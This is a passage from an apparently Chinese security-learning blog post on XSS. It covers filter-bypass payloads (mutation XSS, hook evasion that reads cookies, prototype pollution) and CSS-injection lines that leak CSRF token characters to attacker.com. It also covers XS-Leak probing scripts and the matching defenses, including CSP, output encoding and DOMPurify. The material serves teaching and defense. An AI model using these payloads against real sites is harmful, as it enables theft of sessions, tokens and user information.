&lt;script&gt;alert(1)&lt;/script&gt;
<!-- 数据库存储后,服务端二次处理decode,再输出时变成 -->
<script>alert(1)</script>

3.3.17 mutation XSS#

浏览器在解析和序列化 HTML 时会发生”变异”,导致原本无害的字符串变成可执行的 XSS

<!-- 输入时无害,经过innerHTML读写一次后变异为可执行代码 -->
<listing>&lt;img src=1 onerror=alert(1)&gt;</listing>
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- 利用namespace混淆 -->
<svg><p><style><img src=1 onerror=alert(1)></style></p></svg>

原理:innerHTML 在赋值和读取时,浏览器内部解析器会对 HTML 进行”修复”,某些实体编码或标签嵌套经过一次 DOM 读写后结构发生变化,产生可执行代码。这类漏洞极难被过滤器检测到。


3.3.18 JS 原生函数替换绕过检测#

// 绕过检测脚本对alert等函数的hook监控
// 先保存原函数引用,再恢复
var _alert = window.alert;
window.alert = function(){}; // 让检测脚本以为alert被禁用
// 真正执行时用保存的引用
_alert(document.cookie);
// 用iframe独立作用域绕过父页面的函数hook
var f = document.createElement('iframe');
document.body.appendChild(f);
f.contentWindow.alert(document.cookie); // 使用iframe自己干净的alert
```
---
### 2.3.19 RPO(Relative Path Overwrite)结合 XSS
```
<!-- 利用URL路径欺骗浏览器加载不同的CSS/JS -->
https://example.com/app/page/..%2f..%2fattacker.css
<!-- 配合CSS注入实现数据窃取 -->
input[value^="a"] { background: url(//attacker.com/?c=a) }
input[value^="b"] { background: url(//attacker.com/?c=b) }
<!-- 逐字符爆破CSRF Token -->

3.3.20 原型链污染辅助 XSS#

// 当页面存在原型链污染漏洞时,可以配合XSS触发
// 污染 innerHTML 的 setter
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';
// 污染 location
Object.prototype.href = 'javascript:alert(1)';
// 配合模板引擎的原型链污染
// 先污染原型,等待模板渲染时自动触发XSS

4防护#

4.1 输入过滤#

对用户输入进行校验,拒绝或转义危险字符,是最基础的防护手段。

# 常见需要过滤/转义的字符
<&lt;
>&gt;
" → &quot;
' → &#x27;
&&amp;
/&#x2F;

注意:输入过滤不能作为唯一防线,因为数据可能在多个地方输出,编码上下文不同,单纯过滤容易被绕过。


4.2 输出编码(最核心)#

根据数据输出的上下文,选择对应的编码方式,这是防御 XSS 最有效的手段。

4.2.1 HTML 上下文#

数据插入到 HTML 标签之间时,进行 HTML 实体编码:

<!-- 危险:直接输出用户输入 -->
<div>用户输入的内容</div>
<!-- 安全:HTML实体编码后输出 -->
<div>&lt;script&gt;alert(1)&lt;/script&gt;</div>

4.2.2 HTML 属性上下文#

数据插入到标签属性中时

<!-- 危险 -->
<input value="用户输入" />
<!-- 安全:属性值必须加引号,且对内容编码 -->
<input value="&lt;script&gt;alert(1)&lt;/script&gt;" />

4.2.3 JS 上下文#

数据插入到 <script> 标签或事件属性中时,需要 JS 编码

// 危险
var username = "用户输入";
// 安全:对数据进行JSON序列化或JS编码
var username = "经过JS编码的内容";
// 推荐做法:通过DOM方式赋值,避免直接拼接
document.getElementById('name').textContent = userInput; // 安全
document.getElementById('name').innerHTML = userInput; // 危险!

4.2.4 URL 上下文#

数据插入到 URL 中时,需要 URL 编码

// 危险
<a href="https://example.com?q=用户输入">
// 安全
<a href="https://example.com?q=encodeURIComponent(用户输入)">
// 还需校验协议,防止javascript:伪协议
if (!url.startsWith('http://') && !url.startsWith('https://')) {
url = '#'; // 拒绝非http协议
}

给 Cookie 设置 HttpOnly 属性,禁止 JS 读取 Cookie,即使 XSS 成功也无法盗取 Cookie:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
# PHP
setcookie("sessionid", "abc123", [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);
# Python Flask
response.set_cookie('sessionid', 'abc123', httponly=True, secure=True)

局限:只能防止 Cookie 被盗,无法阻止其他 XSS 危害(如页面篡改、钓鱼等)


4.4 CSP(Content Security Policy)#

通过 HTTP 响应头告诉浏览器只允许加载指定来源的资源,是目前防御 XSS 最强的手段之一:

# 只允许加载本域资源,禁止内联脚本和eval
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
# 使用nonce允许特定内联脚本
Content-Security-Policy: script-src 'nonce-随机值'
<!-- 配合nonce使用,只有带正确nonce的script才能执行 -->
<script nonce="服务端生成的随机值">
// 合法的内联脚本
</script>
<!-- 攻击者注入的脚本没有nonce,浏览器拒绝执行 -->
<script>alert(1)</script> <!-- 被CSP拦截 -->

CSP 常用指令说明:

指令作用
default-src所有资源的默认策略
script-srcJS 来源限制
img-src图片来源限制
connect-srcAjax/fetch 请求限制
object-src 'none'禁止 Flash 等插件
base-uri 'self'防止 base 标签劫持

4.5 X-XSS-Protection 响应头#

旧版浏览器内置的 XSS 过滤器,现代浏览器已逐步废弃,但仍建议配置

X-XSS-Protection: 1; mode=block
含义
0关闭过滤器
1开启,检测到XSS时净化页面
1; mode=block开启,检测到XSS时直接阻止页面渲染

注意:现代浏览器(Chrome 78+)已移除该功能,主要依赖 CSP


4.6 使用安全的 DOM 操作 API#

避免使用危险 API,改用安全替代方案

// ❌ 危险API,直接解析并执行HTML
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);
// ✅ 安全API,只处理纯文本不解析HTML
element.textContent = userInput;
element.innerText = userInput;
// ✅ 安全的属性设置
element.setAttribute('href', encodeURI(userInput));

4.7 框架自带的 XSS 防护#

主流前端框架默认对输出进行转义,但需注意绕过场景

// React:默认安全,自动转义
return <div>{userInput}</div> // ✅ 安全
// React:dangerouslySetInnerHTML 会绕过转义,慎用
return <div dangerouslySetInnerHTML={{__html: userInput}} /> // ❌ 危险
// Vue:默认安全
<div>{{ userInput }}</div> // ✅ 安全
// Vue:v-html 会绕过转义,慎用
<div v-html="userInput"></div> // ❌ 危险

4.8 富文本场景:使用白名单过滤库#

论坛、评论等需要保留部分 HTML 的场景,不能简单转义,应使用成熟的白名单过滤库

// 推荐库
DOMPurify // 最主流,前端使用
bleach // Python
HtmlSanitizer // Java
// DOMPurify 示例
import DOMPurify from 'dompurify';
// 只允许安全的标签和属性,过滤掉所有危险内容
const clean = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href']
});
element.innerHTML = clean;

警告:不要自己手写白名单过滤,极易遗漏边界情况,务必使用经过安全审计的成熟库

5扩展#

5.1 浏览器渲染过程#

浏览器从拿到 HTML 字符串到最终显示页面,完整流程如下:

HTML字符串 → 解析HTML → 样式计算 → 布局 → 分层 → 绘制 → 分块 → 光栅化 → 画 → 像素信息

每一步的产物分别是:DOM树、CSSOM树、渲染树、盒模型、界面。


5.1.1 解析 HTML#

浏览器将 HTML 字符串同时解析成两棵树:

DOM 树document 是根节点,body 是其子节点,拿到根节点即可访问网页所有节点。

CSSOM 树StyleSheetList 是根节点,代表网页中所有层叠样式表,共有四种来源:

<style></style> <!-- 内部样式表 -->
<link src=".."></link> <!-- 外部样式表 -->
<div style=".."></div> <!-- 内联样式表 -->
<!-- 浏览器默认样式表 -->

document.styleSheets 可以获取除内联和默认样式表之外的所有内部和外部样式表。

预解析机制:浏览器在开始解析前,会启动一个预解析线程率先下载外部 CSS 和 JS 文件:

  • 遇到 <link> 时,主线程不等待,继续解析后续 HTML,CSS 在预解析线程中下载,这就是 CSS 不阻塞 HTML 解析的根本原因。
  • 遇到 <script> 时,主线程停止解析,等待 JS 下载并执行完毕才继续,因为 JS 可能修改当前 DOM 树,这就是 JS 阻塞 HTML 解析的根本原因。

5.1.2 样式计算#

主线程遍历 DOM 树,为每个节点计算最终样式(Computed Style):

  • 预设值转换为绝对值:redrgb(255,0,0)
  • 相对单位转换为绝对单位:empx

5.1.3 布局#

遍历 DOM 树每个节点,计算每个节点的几何信息,包括宽高、相对包含块的位置等。


5.1.4 分层#

主线程对整个布局树进行分层,好处是某一层发生变化时,只对该层进行后续处理,提升渲染效率。以下情况会影响分层结果:

/* 这些属性会影响分层 */
overflow: scroll; /* 滚动条 */
transform: ...; /* 变换 */
opacity: ...; /* 透明度 */
will-change: ...; /* 主动声明,影响最大 */
```
---
### 5.1.5 绘制
主线程为每个层单独产生**绘制指令集**,描述该层内容如何画出来,类似于:
```
将笔移动到 (10, 30) 的位置
画一个 20×30 的矩形
将矩形填充为红色
...

绘制完成后,渲染主线程的工作到此结束,剩余步骤交给其他线程完成。


5.1.6 分块#

合成线程接收每个图层的绘制信息,将每个图层划分为更小的区域(块),由线程池中的多个线程并行完成分块工作。


5.1.7 光栅化#

将每个块转换为位图(内存中的二维数组,记录每个像素点信息)。由 GPU 进程开启多个线程完成,并优先处理靠近视口的块


5.1.8 画#

合成线程拿到每个层、每个块的位图后,生成**指引(quad)**信息,标识每个位图应画到屏幕的哪个位置,并处理旋转、缩放等变形。

transform 的变形发生在合成线程,与渲染主线程无关,这就是 transform 效率高的本质原因。

最终合成线程将 quad 提交给 GPU 进程,由 GPU 硬件完成屏幕成像。


渲染流程总结#

阶段执行线程产物
解析HTML主线程 + 预解析线程DOM树 + CSSOM树
样式计算主线程带样式的DOM树
布局主线程盒模型(几何信息)
分层主线程图层树
绘制主线程绘制指令集
分块合成线程 + 线程池分块信息
光栅化GPU进程位图
合成线程 + GPU屏幕像素

5.2 同源策略#

同源策略是理解 XSS、CSRF、XS-Leak 等攻击的基础,详细内容之前在整理CSRF时已经整理,不再结合这里重写扩展了,博客链接如下

http://shaogx.cn/posts/csrf1/


5.3 XS-Leak(跨站泄漏)#

核心概念:不直接读取跨域数据,而是通过观察浏览器行为的副作用(加载成功/失败、响应时间、帧数量等)来推断用户的敏感信息。

与 CSRF 的区别:CSRF 是代替用户执行操作,XS-Leak 是推断用户的信息

交互结果往往以二进制形式呈现——答案只有


5.3.1 基于错误事件的攻击#

浏览器加载跨域资源时,虽然同源策略禁止读取响应内容,但加载成功会触发 onload,加载失败会触发 onerror,这个状态本身就是信息:

// 利用HTTP状态码差异推断用户身份
// GET /api/user/1234 → 200 OK → onload触发 → 当前用户是1234
// GET /api/user/1235 → 401 未授权 → onerror触发 → 当前用户不是1235
function checkId(id) {
const script = document.createElement('script');
script.src = `https://example.com/api/users/${id}`;
script.onload = () => {
console.log(`找到了!当前登录用户ID: ${id}`);
};
script.onerror = () => {
console.log(`ID ${id} 不是当前用户`);
};
document.body.appendChild(script);
}
// 爆破ID范围 0~40
const ids = Array(41).fill().map((_, i) => i);
for (const id of ids) {
checkId(id);
}

这里不需要读取响应体,同源策略也不允许读取,只需要监听事件触发即可。


5.3.2 对 postMessage 通信的攻击#

postMessage 是允许跨域通信的合法机制,但若使用不当会被攻击者截获消息:

// ❌ 存在漏洞:targetOrigin 使用了通配符*,任意来源都能接收
// Origin: http://example.com
const site = new URLSearchParams(window.location.search).get('site');
const popup = window.open(site); // 攻击者控制site参数,打开evil.com
popup.postMessage('secret message!', '*'); // 任意来源均可接收
// Origin: https://evil.com
window.addEventListener('message', e => {
alert(e.data); // secret message! 泄漏
});

修复方式:将 * 改为具体的目标域名:

// ✅ 指定目标源,只有该来源才能接收消息
popup.postMessage('secret message!', 'https://sub.example.com');

5.3.3 帧计数攻击#

窗口中已加载的 iframe 数量可能泄露信息。例如某应用将搜索结果加载进 iframe,无结果时不显示 iframe

// 通过计算 frames 数量推断搜索结果是否存在
const win = window.open('https://example.com/search?q=secret');
win.onload = () => {
if (win.frames.length === 1) {
console.log('搜索结果存在,该邮箱已注册!');
} else {
console.log('无搜索结果');
}
};

5.3.4 浏览器缓存计时攻击#

从缓存加载的资源比从服务器加载快得多,通过测量加载时间可以判断资源是否被缓存过:

const THRESHOLD = 20; // 缓存加载通常 <20ms,服务器加载通常更慢
const adminImagePerfEntry = window.performance
.getEntries()
.filter((entry) => entry.name.endsWith('admin.svg'));
if (adminImagePerfEntry[0].duration < THRESHOLD) {
console.log('该资源已被缓存,当前用户可能是管理员!');
}

5.3.5 焦点探测攻击#

通过检测页面焦点变化来推断 iframe 内部的元素状态:

<!-- 当iframe内部某个可聚焦元素获得焦点时,父页面会触发blur事件 -->
<body onblur="if(!window.found){window.found=true;alert('找到了ID: '+position_of_current_id)}">
<div id="y"></div>
<script>
position_of_current_id = 1000;
found = false;
var iframe = document.createElement('iframe');
iframe.src = 'https://target.com/profile';
document.body.appendChild(iframe);
iframe.onload = tryNextID;
function tryNextID() {
if (!found) {
document.getElementById('y').textContent = position_of_current_id;
// 修改hash,尝试让页面内对应ID的元素获得焦点
iframe.src = 'https://target.com/profile#' + position_of_current_id;
timer = setTimeout(function() {
if (!found && position_of_current_id < 2000) {
position_of_current_id++;
}
tryNextID();
}, 50);
}
}
</script>
</body>

原理:若目标页面中存在对应 ID 的元素,修改 hash 后该元素自动获得焦点,导致父页面触发 blur 事件,从而得知该 ID 存在。

5.3.6 XS-Leak 攻击手法总结#

攻击手法利用的侧信道能推断的信息
错误事件探测HTTP状态码 → onload/onerror用户ID、权限状态
postMessage劫持targetOrigin为通配符跨域消息内容
帧计数iframe数量变化搜索结果是否存在
缓存计时加载时间差异用户是否访问过某资源
焦点探测blur事件触发页面内元素ID是否存在

本质:XS-Leak 绕过了同源策略对内容的保护,但同源策略对行为和状态的保护是不完整的,攻击者利用的正是这个缝隙。


5.3.7 XS-Leak 防御#

Token 保护敏感端点,让攻击者无法构造可预测的请求 URL:

# ❌ 没有token,可以爆破
/api/users/1234
# ✅ 加入不可猜测的token,爆破失效
/api/users/1234?token=be930b8cfb5011eb9a030242ac130003

Fetch Metadata 请求头,服务端校验请求来源,拒绝跨站请求:

// Sec-Fetch-Site 由浏览器自动添加
// 取值:cross-site / same-origin / same-site / none
app.get('/api/users/:id', authorization, (req, res) => {
if (req.get('Sec-Fetch-Site') === 'cross-site') {
return res.sendStatus(403); // 拒绝所有跨站请求
}
return res.send({ id: 1234, name: 'John', role: 'admin' });
});

禁用缓存,防止缓存计时攻击:

Cache-Control: no-store

图像添加不可预测 token,防止攻击者探测缓存状态:

/avatars/admin.svg?token=be930b8cfb5011eb9a030242ac130003
XSS-learning
https://fuwari.vercel.app/posts/xss-learning/
作者
BIG熙
发布于
2026-03-05
许可协议
CC BY-NC-SA 4.0